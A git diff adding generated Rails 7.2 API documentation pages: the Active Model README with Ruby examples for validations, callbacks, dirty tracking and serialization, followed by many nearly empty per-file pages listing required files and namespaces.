Active Model provides a known set of interfaces for usage in model classes. They allow for Action Pack helpers to interact with non-Active Record models, for example. Active Model also helps with building custom ORMs for use outside of the Rails framework.

+ +

You can read more about Active Model in the Active Model Basics guide.

+ +

Prior to Rails 3.0, if a plugin or gem developer wanted to have an object interact with Action Pack helpers, it was required to either copy chunks of code from Rails, or monkey patch entire helpers to make them handle objects that did not exactly conform to the Active Record interface. This would result in code duplication and fragile applications that broke on upgrades. Active Model solves this by defining an explicit API. You can read more about the API in ActiveModel::Lint::Tests.

+ +

Active Model provides a default module that implements the basic API required to integrate with Action Pack out of the box: ActiveModel::API.

+ +
class Person
+  include ActiveModel::API
+
+  attr_accessor :name, :age
+  validates_presence_of :name
+end
+
+person = Person.new(name: 'bob', age: '18')
+person.name   # => 'bob'
+person.age    # => '18'
+person.valid? # => true
+
+ +

It includes model name introspections, conversions, translations and validations, resulting in a class suitable to be used with Action Pack. See ActiveModel::API for more examples.

+ +

Active Model also provides the following functionality to have ORM-like behavior out of the box:

+
  • +

    Add attribute magic to objects

    + +
    class Person
    +  include ActiveModel::AttributeMethods
    +
    +  attribute_method_prefix 'clear_'
    +  define_attribute_methods :name, :age
    +
    +  attr_accessor :name, :age
    +
    +  def clear_attribute(attr)
    +    send("#{attr}=", nil)
    +  end
    +end
    +
    +person = Person.new
    +person.clear_name
    +person.clear_age
    +
    + +

    Learn more

    +
  • +

    Callbacks for certain operations

    + +
    class Person
    +  extend ActiveModel::Callbacks
    +  define_model_callbacks :create
    +
    +  def create
    +    run_callbacks :create do
    +      # Your create action methods here
    +    end
    +  end
    +end
    +
    + +

    This generates before_create, around_create and after_create class methods that wrap your create method.

    + +

    Learn more

    +
  • +

    Tracking value changes

    + +
    class Person
    +  include ActiveModel::Dirty
    +
    +  define_attribute_methods :name
    +
    +  def name
    +    @name
    +  end
    +
    +  def name=(val)
    +    name_will_change! unless val == @name
    +    @name = val
    +  end
    +
    +  def save
    +    # do persistence work
    +    changes_applied
    +  end
    +end
    +
    +person = Person.new
    +person.name             # => nil
    +person.changed?         # => false
    +person.name = 'bob'
    +person.changed?         # => true
    +person.changed          # => ['name']
    +person.changes          # => { 'name' => [nil, 'bob'] }
    +person.save
    +person.name = 'robert'
    +person.save
    +person.previous_changes # => {'name' => ['bob, 'robert']}
    +
    + +

    Learn more

    +
  • +

    Adding errors interface to objects

    + +

    Exposing error messages allows objects to interact with Action Pack helpers seamlessly.

    + +
    class Person
    +
    +  def initialize
    +    @errors = ActiveModel::Errors.new(self)
    +  end
    +
    +  attr_accessor :name
    +  attr_reader   :errors
    +
    +  def validate!
    +    errors.add(:name, "cannot be nil") if name.nil?
    +  end
    +
    +  def self.human_attribute_name(attr, options = {})
    +    "Name"
    +  end
    +end
    +
    +person = Person.new
    +person.name = nil
    +person.validate!
    +person.errors.full_messages
    +# => ["Name cannot be nil"]
    +
    + +

    Learn more

    +
  • +

    Model name introspection

    + +
    class NamedPerson
    +  extend ActiveModel::Naming
    +end
    +
    +NamedPerson.model_name.name   # => "NamedPerson"
    +NamedPerson.model_name.human  # => "Named person"
    +
    + +

    Learn more

    +
  • +

    Making objects serializable

    + +

    ActiveModel::Serialization provides a standard interface for your object to provide to_json serialization.

    + +
    class SerialPerson
    +  include ActiveModel::Serialization
    +
    +  attr_accessor :name
    +
    +  def attributes
    +    {'name' => name}
    +  end
    +end
    +
    +s = SerialPerson.new
    +s.serializable_hash   # => {"name"=>nil}
    +
    +class SerialPerson
    +  include ActiveModel::Serializers::JSON
    +end
    +
    +s = SerialPerson.new
    +s.to_json             # => "{\"name\":null}"
    +
    + +

    Learn more

    +
  • +

    Internationalization (i18n) support

    + +
    class Person
    +  extend ActiveModel::Translation
    +end
    +
    +Person.human_attribute_name('my_attribute')
    +# => "My attribute"
    +
    + +

    Learn more

    +
  • +

    Validation support

    + +
    class Person
    +  include ActiveModel::Validations
    +
    +  attr_accessor :first_name, :last_name
    +
    +  validates_each :first_name, :last_name do |record, attr, value|
    +    record.errors.add attr, "starts with z." if value.start_with?("z")
    +  end
    +end
    +
    +person = Person.new
    +person.first_name = 'zoolander'
    +person.valid?  # => false
    +
    + +

    Learn more

    +
  • +

    Custom validators

    + +
    class HasNameValidator < ActiveModel::Validator
    +  def validate(record)
    +    record.errors.add(:name, "must exist") if record.name.blank?
    +  end
    +end
    +
    +class ValidatorPerson
    +  include ActiveModel::Validations
    +  validates_with HasNameValidator
    +  attr_accessor :name
    +end
    +
    +p = ValidatorPerson.new
    +p.valid?                  # =>  false
    +p.errors.full_messages    # => ["Name must exist"]
    +p.name = "Bob"
    +p.valid?                  # =>  true
    +
    + +

    Learn more

    +
+ +

Download and installation

+ +

The latest version of Active Model can be installed with RubyGems:

+ +
$ gem install activemodel
+
+ +

Source code can be downloaded as part of the Rails project on GitHub

+ + +

License

+ +

Active Model is released under the MIT license:

+ + +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/access_rb.html b/src/7.2/files/activemodel/lib/active_model/access_rb.html new file mode 100644 index 0000000000..d79a21cde1 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/access_rb.html @@ -0,0 +1,80 @@ +--- +title: access.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/hash/indifferent_access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/api_rb.html b/src/7.2/files/activemodel/lib/active_model/api_rb.html new file mode 100644 index 0000000000..30274e09fb --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/api_rb.html @@ -0,0 +1,72 @@ +--- +title: api.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attribute/user_provided_default_rb.html b/src/7.2/files/activemodel/lib/active_model/attribute/user_provided_default_rb.html new file mode 100644 index 0000000000..4eb8b2f3b7 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attribute/user_provided_default_rb.html @@ -0,0 +1,78 @@ +--- +title: user_provided_default.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/attribute
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attribute_assignment_rb.html b/src/7.2/files/activemodel/lib/active_model/attribute_assignment_rb.html new file mode 100644 index 0000000000..cf201480d5 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attribute_assignment_rb.html @@ -0,0 +1,80 @@ +--- +title: attribute_assignment.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/keys
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attribute_methods_rb.html b/src/7.2/files/activemodel/lib/active_model/attribute_methods_rb.html new file mode 100644 index 0000000000..ba83ec2e21 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attribute_methods_rb.html @@ -0,0 +1,91 @@ +--- +title: attribute_methods.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • concurrent/map
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attribute_mutation_tracker_rb.html b/src/7.2/files/activemodel/lib/active_model/attribute_mutation_tracker_rb.html new file mode 100644 index 0000000000..d849e367d2 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attribute_mutation_tracker_rb.html @@ -0,0 +1,80 @@ +--- +title: attribute_mutation_tracker.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/indifferent_access
  • + +
  • active_support/core_ext/object/duplicable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attribute_rb.html b/src/7.2/files/activemodel/lib/active_model/attribute_rb.html new file mode 100644 index 0000000000..8455cb846f --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attribute_rb.html @@ -0,0 +1,78 @@ +--- +title: attribute.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/duplicable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attribute_registration_rb.html b/src/7.2/files/activemodel/lib/active_model/attribute_registration_rb.html new file mode 100644 index 0000000000..271a2f487d --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attribute_registration_rb.html @@ -0,0 +1,82 @@ +--- +title: attribute_registration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/class/subclasses
  • + +
  • active_model/attribute_set
  • + +
  • active_model/attribute/user_provided_default
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attribute_set/builder_rb.html b/src/7.2/files/activemodel/lib/active_model/attribute_set/builder_rb.html new file mode 100644 index 0000000000..956837c8f7 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attribute_set/builder_rb.html @@ -0,0 +1,78 @@ +--- +title: builder.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/attribute
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attribute_set/yaml_encoder_rb.html b/src/7.2/files/activemodel/lib/active_model/attribute_set/yaml_encoder_rb.html new file mode 100644 index 0000000000..0b5c85d50c --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attribute_set/yaml_encoder_rb.html @@ -0,0 +1,70 @@ +--- +title: yaml_encoder.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attribute_set_rb.html b/src/7.2/files/activemodel/lib/active_model/attribute_set_rb.html new file mode 100644 index 0000000000..317d2b539b --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attribute_set_rb.html @@ -0,0 +1,84 @@ +--- +title: attribute_set.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/object/deep_dup
  • + +
  • active_model/attribute_set/builder
  • + +
  • active_model/attribute_set/yaml_encoder
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/attributes_rb.html b/src/7.2/files/activemodel/lib/active_model/attributes_rb.html new file mode 100644 index 0000000000..6d689bf3d8 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/attributes_rb.html @@ -0,0 +1,76 @@ +--- +title: attributes.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/callbacks_rb.html b/src/7.2/files/activemodel/lib/active_model/callbacks_rb.html new file mode 100644 index 0000000000..506ca78a54 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/callbacks_rb.html @@ -0,0 +1,84 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/hash/keys
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/conversion_rb.html b/src/7.2/files/activemodel/lib/active_model/conversion_rb.html new file mode 100644 index 0000000000..fd367eae75 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/conversion_rb.html @@ -0,0 +1,74 @@ +--- +title: conversion.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/deprecator_rb.html b/src/7.2/files/activemodel/lib/active_model/deprecator_rb.html new file mode 100644 index 0000000000..b06ff36ebc --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/dirty_rb.html b/src/7.2/files/activemodel/lib/active_model/dirty_rb.html new file mode 100644 index 0000000000..e532e5bbb0 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/dirty_rb.html @@ -0,0 +1,80 @@ +--- +title: dirty.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/attribute_mutation_tracker
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/error_rb.html b/src/7.2/files/activemodel/lib/active_model/error_rb.html new file mode 100644 index 0000000000..dd7601d1ff --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/error_rb.html @@ -0,0 +1,85 @@ +--- +title: error.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/class/attribute
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/errors_rb.html b/src/7.2/files/activemodel/lib/active_model/errors_rb.html new file mode 100644 index 0000000000..f210908a4e --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/errors_rb.html @@ -0,0 +1,101 @@ +--- +title: errors.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/conversions
  • + +
  • active_support/core_ext/string/inflections
  • + +
  • active_support/core_ext/object/deep_dup
  • + +
  • active_model/error
  • + +
  • active_model/nested_error
  • + +
  • forwardable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/forbidden_attributes_protection_rb.html b/src/7.2/files/activemodel/lib/active_model/forbidden_attributes_protection_rb.html new file mode 100644 index 0000000000..e6789a13df --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/forbidden_attributes_protection_rb.html @@ -0,0 +1,77 @@ +--- +title: forbidden_attributes_protection.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/gem_version_rb.html b/src/7.2/files/activemodel/lib/active_model/gem_version_rb.html new file mode 100644 index 0000000000..478f58c9c4 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/lint_rb.html b/src/7.2/files/activemodel/lib/active_model/lint_rb.html new file mode 100644 index 0000000000..cf77c131a6 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/lint_rb.html @@ -0,0 +1,74 @@ +--- +title: lint.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/model_rb.html b/src/7.2/files/activemodel/lib/active_model/model_rb.html new file mode 100644 index 0000000000..740f09d06a --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/model_rb.html @@ -0,0 +1,72 @@ +--- +title: model.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/naming_rb.html b/src/7.2/files/activemodel/lib/active_model/naming_rb.html new file mode 100644 index 0000000000..5f51c0ea9e --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/naming_rb.html @@ -0,0 +1,95 @@ +--- +title: naming.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/except
  • + +
  • active_support/core_ext/module/introspection
  • + +
  • active_support/core_ext/module/redefine_method
  • + +
  • active_support/core_ext/module/delegation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/nested_error_rb.html b/src/7.2/files/activemodel/lib/active_model/nested_error_rb.html new file mode 100644 index 0000000000..de418a0b25 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/nested_error_rb.html @@ -0,0 +1,87 @@ +--- +title: nested_error.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/error
  • + +
  • forwardable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/railtie_rb.html b/src/7.2/files/activemodel/lib/active_model/railtie_rb.html new file mode 100644 index 0000000000..987f7e574e --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/railtie_rb.html @@ -0,0 +1,82 @@ +--- +title: railtie.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model
  • + +
  • rails
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/secure_password_rb.html b/src/7.2/files/activemodel/lib/active_model/secure_password_rb.html new file mode 100644 index 0000000000..72978ad137 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/secure_password_rb.html @@ -0,0 +1,89 @@ +--- +title: secure_password.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • bcrypt
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/serialization_rb.html b/src/7.2/files/activemodel/lib/active_model/serialization_rb.html new file mode 100644 index 0000000000..962638ccf5 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/serialization_rb.html @@ -0,0 +1,80 @@ +--- +title: serialization.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/serializers/json_rb.html b/src/7.2/files/activemodel/lib/active_model/serializers/json_rb.html new file mode 100644 index 0000000000..ee62e6580e --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/serializers/json_rb.html @@ -0,0 +1,84 @@ +--- +title: json.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/json
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/translation_rb.html b/src/7.2/files/activemodel/lib/active_model/translation_rb.html new file mode 100644 index 0000000000..43ba4f63fb --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/translation_rb.html @@ -0,0 +1,72 @@ +--- +title: translation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/big_integer_rb.html b/src/7.2/files/activemodel/lib/active_model/type/big_integer_rb.html new file mode 100644 index 0000000000..748db05105 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/big_integer_rb.html @@ -0,0 +1,87 @@ +--- +title: big_integer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/type/integer
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/binary_rb.html b/src/7.2/files/activemodel/lib/active_model/type/binary_rb.html new file mode 100644 index 0000000000..3e07c78a06 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/binary_rb.html @@ -0,0 +1,79 @@ +--- +title: binary.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/boolean_rb.html b/src/7.2/files/activemodel/lib/active_model/type/boolean_rb.html new file mode 100644 index 0000000000..021c947554 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/boolean_rb.html @@ -0,0 +1,79 @@ +--- +title: boolean.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/date_rb.html b/src/7.2/files/activemodel/lib/active_model/type/date_rb.html new file mode 100644 index 0000000000..dee1f7e86d --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/date_rb.html @@ -0,0 +1,79 @@ +--- +title: date.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/date_time_rb.html b/src/7.2/files/activemodel/lib/active_model/type/date_time_rb.html new file mode 100644 index 0000000000..2f535f829f --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/date_time_rb.html @@ -0,0 +1,79 @@ +--- +title: date_time.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/decimal_rb.html b/src/7.2/files/activemodel/lib/active_model/type/decimal_rb.html new file mode 100644 index 0000000000..d037ce0f25 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/decimal_rb.html @@ -0,0 +1,87 @@ +--- +title: decimal.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • bigdecimal/util
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/float_rb.html b/src/7.2/files/activemodel/lib/active_model/type/float_rb.html new file mode 100644 index 0000000000..32810c2855 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/float_rb.html @@ -0,0 +1,87 @@ +--- +title: float.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/try
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time_rb.html b/src/7.2/files/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time_rb.html new file mode 100644 index 0000000000..8dd136a790 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time_rb.html @@ -0,0 +1,83 @@ +--- +title: accepts_multiparameter_time.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/helpers/mutable_rb.html b/src/7.2/files/activemodel/lib/active_model/type/helpers/mutable_rb.html new file mode 100644 index 0000000000..f31d2beb70 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/helpers/mutable_rb.html @@ -0,0 +1,76 @@ +--- +title: mutable.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/helpers/numeric_rb.html b/src/7.2/files/activemodel/lib/active_model/type/helpers/numeric_rb.html new file mode 100644 index 0000000000..bb4e013f06 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/helpers/numeric_rb.html @@ -0,0 +1,76 @@ +--- +title: numeric.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/helpers/time_value_rb.html b/src/7.2/files/activemodel/lib/active_model/type/helpers/time_value_rb.html new file mode 100644 index 0000000000..533b1f6d80 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/helpers/time_value_rb.html @@ -0,0 +1,86 @@ +--- +title: time_value.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/zones
  • + +
  • active_support/core_ext/time/zones
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/helpers/timezone_rb.html b/src/7.2/files/activemodel/lib/active_model/type/helpers/timezone_rb.html new file mode 100644 index 0000000000..f77c25e571 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/helpers/timezone_rb.html @@ -0,0 +1,84 @@ +--- +title: timezone.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/time/zones
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/helpers_rb.html b/src/7.2/files/activemodel/lib/active_model/type/helpers_rb.html new file mode 100644 index 0000000000..4406bee944 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/helpers_rb.html @@ -0,0 +1,73 @@ +--- +title: helpers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/type/helpers/accepts_multiparameter_time
  • + +
  • active_model/type/helpers/numeric
  • + +
  • active_model/type/helpers/mutable
  • + +
  • active_model/type/helpers/time_value
  • + +
  • active_model/type/helpers/timezone
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/immutable_string_rb.html b/src/7.2/files/activemodel/lib/active_model/type/immutable_string_rb.html new file mode 100644 index 0000000000..7eddeedf8b --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/immutable_string_rb.html @@ -0,0 +1,81 @@ +--- +title: immutable_string.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/integer_rb.html b/src/7.2/files/activemodel/lib/active_model/type/integer_rb.html new file mode 100644 index 0000000000..87edf6bd80 --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/integer_rb.html @@ -0,0 +1,79 @@ +--- +title: integer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/registry_rb.html b/src/7.2/files/activemodel/lib/active_model/type/registry_rb.html new file mode 100644 index 0000000000..7d49a7f36d --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/registry_rb.html @@ -0,0 +1,72 @@ +--- +title: registry.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activemodel/lib/active_model/type/serialize_cast_value_rb.html b/src/7.2/files/activemodel/lib/active_model/type/serialize_cast_value_rb.html new file mode 100644 index 0000000000..b958934a0c --- /dev/null +++ b/src/7.2/files/activemodel/lib/active_model/type/serialize_cast_value_rb.html @@ -0,0 +1,78 @@ +--- +title: serialize_cast_value.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
